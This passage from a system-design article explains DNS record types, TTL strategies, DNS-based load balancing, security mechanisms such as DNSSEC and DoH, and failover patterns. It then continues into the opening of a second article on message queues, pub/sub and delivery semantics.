**Zone apex problem**: The apex (`example.com` without subdomain) requires NS and SOA records. Since CNAME cannot coexist with these, **you cannot use CNAME at the zone apex**.

**Workarounds**:

- **CNAME flattening** (Cloudflare): DNS provider resolves CNAME at query time, returns A record to client
- **ALIAS/ANAME records** (Route53, others): Proprietary record types that behave like CNAME but resolve to A at the authoritative level
- Route53 ALIAS works only for AWS resources; Cloudflare CNAME flattening is automatic at apex

**CNAME chains**: Multiple CNAMEs in sequence (A → B → C → IP) are valid but add latency. RFC 1034 recommends avoiding chains longer than necessary.

### MX: Mail Exchange

MX records direct email traffic to mail servers. Each MX has a **priority** (lower = preferred) and a **target hostname**.

```
example.com.  IN MX  10 mail1.example.com.
example.com.  IN MX  20 mail2.example.com.
```

**Design rationale**: Priority enables failover—if priority 10 server is unreachable, senders try priority 20. Equal priorities mean load distribution.

**Common mistake**: MX target must be a hostname, not an IP address, and cannot be a CNAME (RFC 2181). This ensures mail servers can be updated by changing only the A record of the target.

### TXT: Text Records

TXT records store arbitrary text, limited to 255 characters per string but multiple strings concatenate.

**Primary uses**:

- **SPF** (Sender Policy Framework): Lists authorized mail servers. RFC 7208 deprecated dedicated SPF record type—use TXT.
- **DKIM** (DomainKeys Identified Mail): Public key for email signature verification.
- **DMARC**: Policy for handling SPF/DKIM failures.
- **Domain verification**: Google, AWS, others use TXT records to prove domain ownership.

```
example.com.       IN TXT "v=spf1 include:_spf.google.com -all"
selector._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=MIGf..."
_dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
```

### SRV: Service Records

SRV records (RFC 2782) specify host and port for services. Format: `_service._proto.name TTL IN SRV priority weight port target`.

```
_sip._tcp.example.com. IN SRV 10 60 5060 sipserver.example.com.
_sip._tcp.example.com. IN SRV 10 40 5060 sipbackup.example.com.
```

**Fields**:

- **Priority**: Lower is preferred (like MX)
- **Weight**: For load distribution among same-priority records (60/40 split above)
- **Port**: Service port (allows port flexibility without hardcoding)
- **Target**: Hostname (not IP)

**Use cases**: SIP, XMPP, LDAP, Minecraft servers. Kubernetes uses SRV for service discovery.

### NS: Nameserver Records

NS records delegate a zone to authoritative nameservers. They appear at the zone apex and at delegation points (subdomains delegated to different servers).

**Glue records**: When NS target is within the zone being delegated, the parent zone must include A records (glue) to avoid circular dependency.

```
; In .com zone:
example.com.    IN NS  ns1.example.com.
example.com.    IN NS  ns2.example.com.
ns1.example.com. IN A   192.0.2.1    ; glue record
ns2.example.com. IN A   192.0.2.2    ; glue record
```

### Record Type Decision Matrix

| Use Case                | Record Type | Notes                          |
| ----------------------- | ----------- | ------------------------------ |
| Website IP (IPv4)       | A           | Multiple for round-robin       |
| Website IP (IPv6)       | AAAA        | Prefer dual-stack              |
| Alias to another domain | CNAME       | Not at apex; consider ALIAS    |
| Email routing           | MX          | Must point to hostname, not IP |
| Email authentication    | TXT         | SPF, DKIM, DMARC               |
| Service with port       | SRV         | Weight for load distribution   |
| Zone delegation         | NS          | Include glue if needed         |
| Subdomain delegation    | NS          | At delegation point            |

## TTL Strategies and Trade-offs

TTL (Time To Live) controls how long resolvers cache a record. This single value balances conflicting goals: fast failover vs. reduced query load vs. change propagation speed.

### Design Choices

#### Low TTL (60-300 seconds)

**When to use**:

- Health-checked failover records
- Blue-green deployments
- Active/passive disaster recovery
- Frequently changing infrastructure

**Trade-offs**:

- ✅ Fast failover (changes propagate in minutes)
- ✅ Flexibility for infrastructure changes
- ❌ Higher query volume to authoritative servers
- ❌ Higher latency (more cache misses)
- ❌ Some resolvers ignore TTLs below 300s (ISP resolvers may floor to 5 minutes)

**Real-world**: AWS Route53 health-checked records commonly use 60s TTL. Cloudflare's default for proxied records is 300s.

#### High TTL (3600-86400 seconds)

**When to use**:

- Stable records (NS, MX for established domains)
- Root/TLD referrals (48 hours typical)
- CDN endpoints that don't change

**Trade-offs**:

- ✅ Reduced authoritative server load
- ✅ Lower latency (higher cache hit rate)
- ✅ Resilient to authoritative server outages (cached answers continue working)
- ❌ Slow change propagation (up to TTL duration)
- ❌ Mistakes persist longer

**Real-world**: Root server NS records have 518400s TTL (6 days). Google's `google.com` A records use 300s.

#### TTL Migration Strategy

Before DNS changes, temporarily lower TTL to minimize propagation delay:

1. **T-48h**: Lower TTL from 86400s to 3600s
2. **T-24h**: Lower TTL from 3600s to 300s
3. **T-0**: Make the change
4. **T+1h**: Verify change propagated
5. **T+24h**: Raise TTL back to desired value

**Limitation**: This only works if you can wait for the original high TTL to expire before step 3. If your TTL is 86400s, you need to lower it and wait 24 hours before the change window.

### Browser and OS Caching

Beyond DNS resolver caching, browsers and operating systems have their own caches:

| Layer              | Default TTL | Notes                              |
| ------------------ | ----------- | ---------------------------------- |
| Chrome             | 60 seconds  | Ignores TTL; fixed duration        |
| Firefox            | 60 seconds  | Respects TTL with 60s minimum      |
| Windows DNS Client | Honors TTL  | Can be configured via registry     |
| macOS              | Honors TTL  | `dscacheutil -flushcache` to clear |

**Implication**: Even with 30s DNS TTL, browser-level caching means users may see stale IPs for 1-2 minutes. For truly instant failover, use application-level health checks or service mesh.

## DNS-Based Load Balancing

DNS can distribute traffic across servers, but it's a coarse-grained mechanism with specific trade-offs.

### Round-Robin DNS

Return multiple A/AAAA records; resolvers/clients rotate through them.

**Mechanism**: Authoritative server returns all records. Resolvers may shuffle order. Clients typically use first record.

**Limitations**:

- No health checking (returns dead servers)
- No session affinity (different IPs per query)
- No load awareness (even distribution, not load-based)
- Client caching defeats rotation

**Real-world**: GitHub uses round-robin for `github.com` with 4 IPs. Combined with BGP anycast, each IP routes to nearest datacenter.

### Weighted Routing

Route53, Cloudflare, and others support weighted DNS where records have relative weights.

```
; 70% to primary, 30% to secondary
www  300  IN A  192.0.2.1  ; weight 70
www  300  IN A  192.0.2.2  ; weight 30
```

**Use cases**:

- Canary deployments (1% to new version)
- Gradual migration (shift traffic over time)
- A/B testing (split by DNS)

**Caveat**: Weights apply to DNS responses, not actual traffic. A single resolver cache hit serves all its clients the same answer—weight distribution is approximate at scale.

### Latency-Based Routing

Route53 measures latency from resolver locations to AWS regions and returns the lowest-latency endpoint.

**How it works**: Route53 maintains latency measurements from hundreds of global locations to each AWS region. When a query arrives, Route53 uses the resolver's IP (or EDNS Client Subnet if available) to estimate client location and return the lowest-latency endpoint.

**Limitation**: Latency is measured to AWS regions, not to your specific endpoints. If your server in `us-east-1` is overloaded, latency-based routing doesn't know.

### GeoDNS

Return different records based on client geographic location.

**Location determination**:

1. **Resolver IP**: GeoIP database lookup. Inaccurate when users use public resolvers (8.8.8.8, 1.1.1.1)
2. **EDNS Client Subnet (ECS)** (RFC 7871): Resolver sends truncated client IP to authoritative. More accurate but leaks client location.

**Privacy trade-off**: ECS improves GeoDNS accuracy but reveals client subnet to authoritative server and all intermediate resolvers. Privacy-focused resolvers (1.1.1.1, some 8.8.8.8 configurations) minimize or disable ECS.

**Real-world**: Netflix uses GeoDNS to route users to regional Open Connect caches. Content not available in a region? DNS returns different IPs that serve a "not available" page.

### Anycast DNS

Instead of GeoDNS (different IPs per region), use the same IP announced via BGP from multiple locations.

**Mechanism**: Multiple servers advertise the same IP prefix. BGP routing delivers packets to the "closest" (by AS path) server.

**Advantages**:

- No DNS-level complexity
- Works with any resolver (no ECS needed)
- Instant failover (BGP withdrawal)
- DDoS resilience (attack traffic distributed)

**Disadvantages**:

- Requires BGP/AS number (not for small deployments)
- TCP affinity issues (route changes mid-connection)
- Debugging harder (which server answered?)

**Real-world**: Cloudflare's 1.1.1.1, Google's 8.8.8.8, and all root DNS servers use anycast. Cloudflare operates from 330+ cities with the same IP addresses.

### Load Balancing Decision Matrix

| Approach              | Health Checks      | Granularity        | Operational Complexity |
| --------------------- | ------------------ | ------------------ | ---------------------- |
| Round-robin           | No                 | Per-record         | Low                    |
| Weighted (Route53/CF) | Optional           | Per-record         | Low                    |
| Latency-based         | No                 | Per-region         | Medium                 |
| GeoDNS                | Optional           | Per-country/region | Medium                 |
| Anycast + BGP         | Via BGP withdrawal | Per-datacenter     | High                   |

**Recommendation**: For most applications, use a load balancer (ALB, NLB, HAProxy) with DNS pointing to the load balancer. DNS-based load balancing is best for global distribution to load balancers, not to individual servers.

## DNS Security

### The Original Problem: No Authentication

RFC 1034/1035 designed DNS without authentication. Resolvers trust responses that match query parameters (QNAME, QTYPE, transaction ID, source port). This enables:

- **Cache poisoning**: Attacker races to inject forged response before legitimate answer arrives
- **Man-in-the-middle**: Attacker on network path modifies responses
- **DNS hijacking**: ISP or government redirects queries

### The Kaminsky Attack (2008)

Dan Kaminsky demonstrated that the 16-bit transaction ID (65,536 possibilities) could be guessed by flooding responses.

**Attack vector**: Query `random123.example.com` (no cache entry). Flood resolver with forged responses for all possible transaction IDs, including malicious NS records for `example.com`. If any forged response arrives before legitimate, the entire zone is poisoned.

**Mitigation**: Source port randomization adds ~16 bits of entropy (32 bits total). Now standard in all major resolver implementations.

**Modern variant—SAD DNS (2020)**: Side-channel attack infers source port via ICMP rate limiting behavior, partially defeating randomization. Mitigations: DNS cookies (RFC 7873), DNSSEC.

### DNSSEC: Cryptographic Authentication

DNSSEC (RFC 4033-4035, 2005) adds digital signatures to DNS responses, enabling validation of authenticity and integrity.

**Key record types**:

- **DNSKEY**: Public key for the zone
- **RRSIG**: Signature over a record set
- **DS (Delegation Signer)**: Hash of child zone's DNSKEY, stored in parent zone—creates chain of trust
- **NSEC/NSEC3**: Proves non-existence of a name (prevents forged NXDOMAIN)

**Chain of trust**:

```
Root (.) → DS for .com → .com DNSKEY validates →
.com → DS for example.com → example.com DNSKEY validates →
example.com → RRSIG validates A record
```

**Trust anchor**: Resolvers have the root zone's public key (KSK) preconfigured. All validation chains back to this anchor.

**Key rollover complexity**: Changing keys requires coordinating with parent zone (updating DS record) and waiting for TTLs. The root zone's first KSK rollover (2018) took years of planning.

**Operational challenges**:

- Signature expiration: Signatures have validity periods. Failure to re-sign causes validation failures.
- Clock skew: Validators check signature timestamps. Clock drift causes spurious failures.
- Deployment: As of 2024, ~30% of domains are signed, but only ~25% of resolvers validate.

**Validation failure debugging**:

```bash
# Check DNSSEC chain
dig +dnssec +multi example.com
delv example.com

# Bypass validation (for debugging)
dig +cd example.com  # "checking disabled"
```

### DNS over HTTPS (DoH) and DNS over TLS (DoT)

DNSSEC authenticates responses but doesn't encrypt queries. Anyone on the network path can see what domains you query.

**DNS over TLS (DoT)** (RFC 7858, 2016):

- Wraps DNS in TLS on port 853
- Easy to identify and block (dedicated port)
- Supported by Android 9+, iOS 14+

**DNS over HTTPS (DoH)** (RFC 8484, 2018):

- Sends DNS queries as HTTPS requests on port 443
- Indistinguishable from regular HTTPS traffic
- Supported by Chrome, Firefox, Windows 11

**Trade-offs**:

| Aspect              | DoT               | DoH                           |
| ------------------- | ----------------- | ----------------------------- |
| Port                | 853 (dedicated)   | 443 (shared with HTTPS)       |
| Blocking            | Easy (port-based) | Hard (looks like web traffic) |
| Firewall inspection | Visible as DNS    | Hidden in HTTPS               |
| Performance         | Lower overhead    | HTTP/2 overhead               |
| Enterprise control  | Easier to manage  | Harder to enforce policies    |

**Privacy considerations**:

- Encrypts resolver ↔ client. Resolver ↔ authoritative remains unencrypted (unless authoritative supports DoH).
- Resolver still sees all your queries. 1.1.1.1 and 8.8.8.8 have privacy policies; ISP resolvers may not.
- **Oblivious DoH (ODoH)** (RFC 9230, 2022): Adds proxy layer so no single party sees both client IP and query content.

### DNS Amplification Attacks

Open resolvers answer queries from any source. Attackers exploit this for DDoS:

1. Spoof victim's IP as source address
2. Send small queries (60 bytes) requesting large responses (3000+ bytes)
3. Resolver sends large response to victim
4. Amplification factor: 50-70×

**Mitigations**:

- **Response Rate Limiting (RRL)**: Limit responses per source IP per second
- **BCP38/BCP84**: ISPs should filter spoofed source addresses
- **Disable open recursion**: Only serve configured clients

### DNS Security Checklist

| Threat             | Mitigation                | Status              |
| ------------------ | ------------------------- | ------------------- |
| Cache poisoning    | Source port randomization | Standard since 2008 |
| Cache poisoning    | DNSSEC validation         | ~25% of resolvers   |
| Eavesdropping      | DoH/DoT                   | Growing adoption    |
| Amplification DDoS | RRL + BCP38               | Partial deployment  |
| Zone hijacking     | Registrar locks + MFA     | Recommended         |

## DNS Failover and Health Checks

DNS-based failover removes unhealthy endpoints from responses. It's slower than load balancer health checks but works across regions.

### How DNS Health Checks Work (Route53 Example)

1. **Health checker endpoints** in multiple AWS regions ping your endpoint
2. If endpoint fails checks from majority of regions, it's marked unhealthy
3. Route53 stops returning that record in DNS responses
4. **Propagation delay**: Existing cached responses continue until TTL expires

**Health check options**:

- HTTP/HTTPS: Check specific path, status code, response body
- TCP: Port connectivity only
- Calculated: Combine multiple checks with AND/OR logic
- CloudWatch alarm: Based on custom metrics

### Failover Latency Analysis

```
Time 0:00 - Primary fails
Time 0:30 - Health check fails (30s check interval)
Time 1:00 - Majority of checkers confirm failure
Time 1:30 - Route53 marks record unhealthy, stops returning it
Time 1:30 to 3:00 - Cached responses continue (60s TTL example)
Time 3:00 - All caches expired, traffic flows to secondary
```

**Best case with 60s TTL**: ~3 minutes to full failover
**With browser caching**: Add 1-2 minutes

**Comparison**: Load balancer health checks detect failure in 10-30 seconds with instant traffic shift.

### Active-Active vs. Active-Passive

**Active-Active**: Multiple endpoints in rotation; unhealthy ones removed.

```
www.example.com.  60  IN  A  192.0.2.1  ; health checked
www.example.com.  60  IN  A  192.0.2.2  ; health checked
```

**Active-Passive**: Secondary only used when primary fails.

```
; Route53 failover routing policy
www.example.com.  60  IN  A  192.0.2.1  ; primary, health checked
www.example.com.  60  IN  A  192.0.2.2  ; secondary, returned if primary fails
```

**Gotcha**: With active-passive, if you don't health-check the secondary, failover might route traffic to a dead endpoint.

## Real-World Examples

### Cloudflare 1.1.1.1: Building a Fast Resolver

**Problem**: Provide the fastest, most private public DNS resolver.

**Design choices**:

- **Anycast from 330+ cities**: Same IP (1.1.1.1) announced everywhere. BGP routes queries to nearest PoP.
- **Aggressive caching**: Cache responses at edge; pre-populate popular domains.
- **Minimal logging**: Purge query logs within 24 hours. No selling of data.
- **DNSSEC validation**: Enabled by default.
- **DoH/DoT support**: Privacy from network observers.

**Performance result**: DNSPerf ranks 1.1.1.1 at ~14ms average globally, compared to ~20-30ms for competitors.

**Incident (October 2023)**: Internal software error caused SERVFAIL responses for valid queries. 3-hour impact. Root cause: bug in internal data structure synchronization. Mitigation: additional validation layers, improved monitoring.

### Route53: DNS at AWS Scale

**Scale**: Handles 100+ billion queries/day across millions of hosted zones.

**Design choices**:

- **Four anycast networks**: Geographically distributed. Health-checked routing to nearest healthy PoP.
- **EDNS Client Subnet support**: More accurate latency-based and geo routing.
- **Alias records**: Proprietary record type that resolves AWS resources at the authoritative level (no CNAME chain).
- **100% SLA**: Backed by service credit (though historical uptime is >99.99%).

**Integration**: Tight coupling with AWS services—ELB, CloudFront, S3 static hosting all work via Alias records.

### GitHub: DNS and DDoS

**Challenge**: High-value target for DDoS attacks while serving millions of developers.

**Approach**:

- **Multiple DNS providers**: Redundancy against provider outages.
- **Anycast for github.com**: Multiple IPs, each anycast to multiple datacenters.
- **DDoS mitigation partners**: Traffic scrubbing before reaching origin.

**2018 DDoS attack**: 1.35 Tbps attack using memcached amplification (not DNS, but illustrates scale). Mitigated in 10 minutes via Akamai.

### Root DNS: The Foundation

**Architecture**: 13 root server identities (A through M), operated by 12 organizations. Actually 1,700+ instances globally via anycast.

**Why 13?** Original UDP packet limit (512 bytes) constrained response size. 13 NS records with glue fit within this limit. Modern DNS uses EDNS for larger responses, but 13 remains for compatibility.

**Resilience**: Each root server identity runs hundreds of anycast instances. An attack on "A root" hits different physical servers depending on attacker location. No single instance failure affects global resolution.

**Update mechanism**: Root zone signed with DNSSEC. Updates propagate via zone transfers. KSK rollover (2018) required coordinated trust anchor updates across all validating resolvers globally.

## Common Pitfalls

### 1. CNAME at Zone Apex

**The mistake**: Setting `example.com` as CNAME to `loadbalancer.example.net`.

**Why it fails**: RFC 1034 prohibits CNAME at apex because it conflicts with required NS and SOA records.

**The fix**: Use provider-specific solutions (Cloudflare CNAME flattening, Route53 ALIAS) or configure A records pointing to load balancer IPs.

### 2. Ignoring Negative TTL

**The mistake**: Setting SOA MINIMUM to 86400s (1 day) for "stability."

**Why it's problematic**: Typo in DNS configuration (NXDOMAIN for real subdomain) persists in caches for a full day.

**The fix**: Use 300-3600s for SOA MINIMUM. Balance between reducing load and enabling recovery from mistakes.

### 3. Over-relying on DNS Failover

**The mistake**: Using DNS health checks for sub-minute failover.

**Why it fails**: DNS TTL + browser caching + resolver caching = minutes of stale responses.

**The fix**: DNS failover for regional/datacenter failures (minutes acceptable). Load balancers for server failures (seconds matter).

### 4. Forgetting Glue Records

**The mistake**: Delegating `example.com` to `ns1.example.com` without glue records in parent zone.

**Why it fails**: Resolver needs to query `ns1.example.com` to find `example.com` records, but can't resolve `ns1.example.com` without first resolving `example.com`. Circular dependency.

**The fix**: Ensure registrar includes glue A records for nameservers within the delegated zone.

### 5. DNSSEC Signature Expiration

**The mistake**: Setting up DNSSEC, then forgetting to re-sign zone before signatures expire.

**Why it fails**: Validating resolvers reject responses with expired signatures. Domain becomes unreachable for DNSSEC-validating users (~25% of internet).

**The fix**: Automate zone signing with DNSSEC-aware DNS providers (Route53, Cloudflare) or tools like OpenDNSSEC with automated key management.

## Conclusion

DNS is deceptively simple—a hierarchical lookup system—but its design choices have profound operational implications:

**Resolution mechanics**: Recursive resolvers walk the hierarchy and cache aggressively. Caching enables DNS to scale globally but introduces propagation delays for changes.

**TTL trade-offs**: Low TTLs (60-300s) enable fast failover at the cost of increased authoritative load. High TTLs (3600-86400s) reduce load but slow change propagation. Plan TTL changes 24-48 hours before infrastructure changes.

**Load balancing via DNS**: Useful for global distribution to regional load balancers. Not suitable for server-level health checking or sub-minute failover. Combine with anycast for DDoS resilience.

**Security layers**:

- DNSSEC authenticates responses but doesn't encrypt
- DoH/DoT encrypt the client-resolver path
- Neither fully solves DNS security—defense in depth required

**Production patterns**:

- Use managed DNS (Route53, Cloudflare) for reliability and features
- Enable DNSSEC if your registrar and provider support it
- Monitor resolution from multiple global locations
- Test failover regularly—don't wait for a real outage

DNS will outlive most of the systems it serves. Understanding its constraints—rather than fighting them—leads to more resilient architectures.

## Appendix

### Prerequisites

- Basic networking concepts (IP addresses, TCP/UDP, ports)
- Understanding of client-server architecture
- Familiarity with hierarchical data structures

### Terminology

- **Authoritative server**: DNS server that holds the source-of-truth records for a zone
- **Recursive resolver**: DNS server that queries other servers on behalf of clients and caches results
- **Stub resolver**: Minimal resolver in OS/application that sends queries to recursive resolver
- **Zone**: Administrative boundary in DNS namespace (e.g., `example.com` and all its subdomains)
- **TTL (Time To Live)**: Duration a record can be cached before requiring re-query
- **Glue record**: A record in parent zone providing IP for nameserver within delegated zone
- **EDNS (Extension Mechanisms for DNS)**: Allows larger UDP responses and additional features
- **ECS (EDNS Client Subnet)**: Extension that passes client subnet to authoritative server for better GeoDNS
- **Anycast**: Routing technique where same IP is announced from multiple locations

### Summary

- **DNS is a hierarchical, eventually consistent, globally distributed key-value store** optimized for reads
- **Resolution chain**: Root → TLD → Authoritative, with aggressive caching at recursive resolvers
- **TTL controls propagation speed**: 60s for failover records, 3600s+ for stable records
- **Negative caching**: NXDOMAIN responses cached per SOA MINIMUM—mistakes persist
- **CNAME cannot exist at zone apex**: Use ALIAS/CNAME flattening for apex pointing to hostnames
- **DNS load balancing is coarse**: Use for global distribution; load balancers for server-level health
- **DNSSEC adds authentication**: Chain of trust from root; ~25% of resolvers validate
- **DoH/DoT add encryption**: Client ↔ resolver path; resolver ↔ authoritative still unencrypted
- **Failover speed bounded by TTL**: Best case ~3 minutes with 60s TTL + browser caching

### References

**Specifications (Primary Sources)**

- [RFC 1034: Domain Names - Concepts and Facilities](https://datatracker.ietf.org/doc/html/rfc1034) - Core DNS architecture
- [RFC 1035: Domain Names - Implementation and Specification](https://datatracker.ietf.org/doc/html/rfc1035) - DNS protocol and record formats
- [RFC 2308: Negative Caching of DNS Queries](https://datatracker.ietf.org/doc/html/rfc2308) - NXDOMAIN caching requirements
- [RFC 4033/4034/4035: DNSSEC](https://datatracker.ietf.org/doc/html/rfc4033) - DNS Security Extensions
- [RFC 7858: DNS over TLS](https://datatracker.ietf.org/doc/html/rfc7858) - Specification for DoT
- [RFC 8484: DNS over HTTPS](https://datatracker.ietf.org/doc/html/rfc8484) - Specification for DoH
- [RFC 7871: EDNS Client Subnet](https://datatracker.ietf.org/doc/html/rfc7871) - Client subnet for GeoDNS
- [RFC 9230: Oblivious DoH](https://datatracker.ietf.org/doc/html/rfc9230) - Privacy-preserving DNS

**Official Documentation**

- [Cloudflare DNS Documentation](https://developers.cloudflare.com/dns/) - CNAME flattening, DNSSEC troubleshooting
- [AWS Route53 Developer Guide](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/) - Routing policies, health checks
- [Google Public DNS Documentation](https://developers.google.com/speed/public-dns/) - DoH implementation

**Engineering Blog Posts**

- [Cloudflare: Introducing CNAME Flattening](https://blog.cloudflare.com/introducing-cname-flattening-rfc-compliant-cnames-at-a-domains-root/) - Zone apex CNAME solution
- [Cloudflare: Announcing 1.1.1.1](https://blog.cloudflare.com/announcing-1111/) - Public resolver architecture
- [Cloudflare: A Brief Primer on Anycast](https://blog.cloudflare.com/a-brief-anycast-primer/) - Anycast implementation
- [Cloudflare: SAD DNS Explained](https://blog.cloudflare.com/sad-dns-explained/) - Modern cache poisoning attack

**Security Research**

- [Dan Kaminsky's DNS Vulnerability (2008)](https://en.wikipedia.org/wiki/Dan_Kaminsky) - Original cache poisoning disclosure
- [CISA: DNS Amplification Attacks](https://us-cert.cisa.gov/ncas/alerts/TA13-088A) - Mitigation guidance
- [DNSSEC Outages List](https://ianix.com/pub/dnssec-outages.html) - Historical validation failures

**Books**

- [Cricket Liu, Paul Albitz: DNS and BIND, 5th Edition](https://www.oreilly.com/library/view/dns-and-bind/0596100574/) - Comprehensive DNS reference

---

## Queues and Pub/Sub: Decoupling and Backpressure

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/queues-and-pubsub
**Category:** System Design / System Design Fundamentals
**Description:** Message queues and publish-subscribe systems decouple producers from consumers, enabling asynchronous communication, elastic scaling, and fault isolation. The choice between queue-based and pub/sub patterns—and the specific broker implementation—determines delivery guarantees, ordering semantics, and operational complexity. This article covers design choices, trade-offs, and production patterns from systems handling trillions of messages daily.

# Queues and Pub/Sub: Decoupling and Backpressure

Message queues and publish-subscribe systems decouple producers from consumers, enabling asynchronous communication, elastic scaling, and fault isolation. The choice between queue-based and pub/sub patterns—and the specific broker implementation—determines delivery guarantees, ordering semantics, and operational complexity. This article covers design choices, trade-offs, and production patterns from systems handling trillions of messages daily.

<figure>

![Queues deliver each message to one consumer (competing consumers); topics deliver each message to all subscribers (fan-out).](./queues-deliver-each-message-to-one-consumer-competing-consumers-topics-deliver-e.svg)

<figcaption>Queues deliver each message to one consumer (competing consumers); topics deliver each message to all subscribers (fan-out).</figcaption>
</figure>

## Abstract

The mental model: **queues distribute work, topics broadcast events**.

A queue is a buffer between producers and consumers where each message is processed by exactly one consumer—work distribution. Multiple consumers compete for messages, enabling horizontal scaling of processing capacity. If a consumer fails, another picks up the message.

A topic (pub/sub) delivers each message to all subscribers—event broadcasting. Multiple independent consumers each receive their own copy. Subscribers are decoupled from each other and from the producer.

**The key design axes:**

| Axis                   | Options                                         | Determines                    |
| ---------------------- | ----------------------------------------------- | ----------------------------- |
| **Pattern**            | Queue (point-to-point), Topic (pub/sub), Hybrid | Work distribution vs. fan-out |
| **Delivery semantics** | At-most-once, at-least-once, exactly-once       | Reliability vs. complexity    |
| **Ordering**           | None, partition-ordered (key), FIFO, total      | Consistency vs. throughput    |
| **Consumption model**  | Pull, push                                      | Backpressure handling         |

**Production examples:**

- **LinkedIn** (7 trillion msg/day): Kafka as company-wide event backbone—100+ clusters, 4,000+ brokers
- **Slack** (1.4B jobs/day): Dual-queue architecture—Redis for speed, Kafka for durability
- **Netflix** (500B events/day, 8M/sec peak): Kafka + Flink for real-time stream processing
- **Uber** (250K msg/sec push): Custom push platform with Kafka backbone

The choice depends on whether you need work distribution or event broadcasting, your consistency requirements, and operational capacity.

## Messaging Patterns

### Point-to-Point Queues

Each message is delivered to exactly one consumer. Multiple consumers compete for messages from the same queue.

**Mechanism**: Producer enqueues messages; broker holds them until a consumer dequeues. Once delivered and acknowledged, the message is removed. If the consumer fails before acknowledging, the message becomes visible again for redelivery.

**Why it exists**: Distributes work across a pool of workers. The queue acts as a buffer—producers and consumers operate at different rates without blocking each other.

**When to use**:

- Task/job processing (email sending, image processing, report generation)
- Load leveling between services with different throughput capacities
- Work distribution across worker pools

**Trade-offs**:

- ✅ Natural load balancing across consumers
- ✅ Built-in retry semantics (message redelivered on failure)
- ✅ Simple mental model—one message, one processor
- ❌ No fan-out—if multiple services need the same event, you need multiple queues
- ❌ Message ordering may be lost with competing consumers

**Real-world**: Slack's job queue processes 1.4 billion jobs daily at 33K/sec peak. Every message post, push notification, URL unfurl, and billing calculation flows through their queue. They use a dual-queue architecture: Redis for in-flight messages (fast) and Kafka for durable storage (ledger). This gives them both performance and durability—Redis handles the hot path while Kafka ensures nothing is lost.

### Publish-Subscribe (Topics)

Each message is delivered to all subscribers. Subscribers receive independent copies.

**Mechanism**: Producer publishes to a topic; broker delivers copies to all active subscriptions. Each subscription maintains its own cursor/offset—subscribers process at their own pace.

**Why it exists**: Decouples producers from consumers completely. The producer doesn't know (or care) how many subscribers exist. New subscribers can be added without modifying the producer.

**When to use**:

- Event broadcasting (user signed up, order placed, price changed)
- Multiple independent consumers need the same events
- Event sourcing and audit logs
- Real-time analytics pipelines

**Trade-offs**:

- ✅ True decoupling—add subscribers without changing producers
- ✅ Each subscriber processes independently (different speeds, different transformations)
- ✅ Natural fit for event-driven architectures
- ❌ Storage scales with subscribers × messages (each subscription tracks position)
- ❌ Ordering guarantees harder across multiple subscribers

**Real-world**: Netflix processes 500 billion events daily through their Kafka-based event pipeline. Member actions flow from API Gateway → Kafka topics → Flink processing → multiple downstream consumers (recommendations, analytics, A/B testing). Multiple consumer groups independently subscribe to the same topics, each processing events for their specific use case.

### Hybrid: Consumer Groups

Kafka's model combines pub/sub with competing consumers through consumer groups.

**Mechanism**: A topic is divided into partitions. Within a consumer group, each partition is assigned to exactly one consumer—competing consumers pattern. Multiple consumer groups can subscribe to the same topic independently—pub/sub pattern.

**Why it exists**: Provides both work distribution (within a group) and event broadcasting (across groups). A single topic can serve as both a work queue and an event stream.

**Example**: Order events published to `orders` topic:

- Consumer group `fulfillment` processes each order once (work distribution)
- Consumer group `analytics` also processes each order once (independent work distribution)
- Consumer group `fraud-detection` also processes each order once (another independent consumer)

Each group sees every message; within each group, messages are distributed across consumers.

**Real-world**: LinkedIn runs 100+ Kafka clusters with 100,000+ topics. The consumer group model allows multiple teams to independently consume the same event streams without coordination. Their activity tracking pipeline has dozens of consumer groups processing the same user activity events for different purposes.

## Delivery Semantics

Delivery semantics define the guarantees about how many times a message is delivered and processed.

### At-Most-Once

Messages may be lost but are never duplicated.

**Mechanism**: Producer sends message without waiting for acknowledgment (fire-and-forget). Or: consumer commits offset before processing—if processing fails, the message is skipped.

**Why it exists**: Maximum throughput and minimum latency. Suitable when occasional message loss is acceptable.

**When to use**:

- Metrics and telemetry (missing one data point is acceptable)
- Heartbeats and health checks
- Non-critical notifications

**Trade-offs**:

- ✅ Highest throughput—no acknowledgment overhead
- ✅ Lowest latency—no round-trip for confirmation
- ❌ Data loss on failures—producer crash, network issues, consumer crash

**Implementation**: Kafka with `acks=0` (producer doesn't wait for broker acknowledgment). Consumer with auto-commit enabled and commit-before-process pattern.

### At-Least-Once

Messages are never lost but may be duplicated.

**Mechanism**: Producer retries until acknowledged. Consumer processes then commits—if consumer crashes after processing but before committing, the message is redelivered.

**Why it exists**: The default for most systems because message loss is usually worse than duplication. Duplicates can be handled with idempotent processing.

**When to use**:

- Most production workloads
- Any case where data loss is unacceptable
- Systems with idempotent consumers

**Trade-offs**:

- ✅ No message loss—retries ensure delivery
- ✅ Simpler than exactly-once
- ❌ Duplicates require downstream handling
- ❌ Higher latency than at-most-once (acknowledgment round-trip)

**Implementation**: Kafka with `acks=all` + `retries` enabled. Consumer with manual offset commit after successful processing.

### Exactly-Once

Messages are delivered and processed exactly once.

**Why it's hard**: The fundamental challenge is distinguishing between three scenarios:

1. Message written, acknowledgment delivered → success
2. Message written, acknowledgment lost → producer retries, creates duplicate
3. Message lost → producer retries correctly

In asynchronous distributed systems, these scenarios are indistinguishable from the producer's perspective. The Two Generals Problem proves this fundamental limitation.

**How systems approach it**:

**Kafka transactions (v0.11+)**: Atomic writes across multiple partitions. Producer uses transactional API; consumers read with `isolation.level=read_committed`. This achieves exactly-once within Kafka's boundaries—but the consumer's processing of the message and any external side effects still require idempotency.

**AWS SQS FIFO**: MessageDeduplicationId with 5-minute deduplication window. Broker deduplicates retries within the window. Still requires idempotent processing for side effects.

**The reality**: Infrastructure provides at-most-once or at-least-once; exactly-once semantics require **application-level idempotency**. The broker can deduplicate message storage; only the application can deduplicate processing effects.

**Trade-offs**:

- ✅ Simplifies application logic (in theory)
- ❌ High complexity and performance overhead
- ❌ Still requires application idempotency for external side effects
- ❌ Increases latency (coordination overhead)

**Real-world**: Uber's Flink pipelines achieve exactly-once through Kafka transactions + Flink checkpointing. But their downstream systems (databases, external APIs) still implement idempotency—the exactly-once guarantee applies only to the stream processing boundary.

## Message Ordering

Ordering guarantees determine whether consumers see messages in the same order they were produced.

### No Ordering (Unordered)

Messages may arrive in any order.

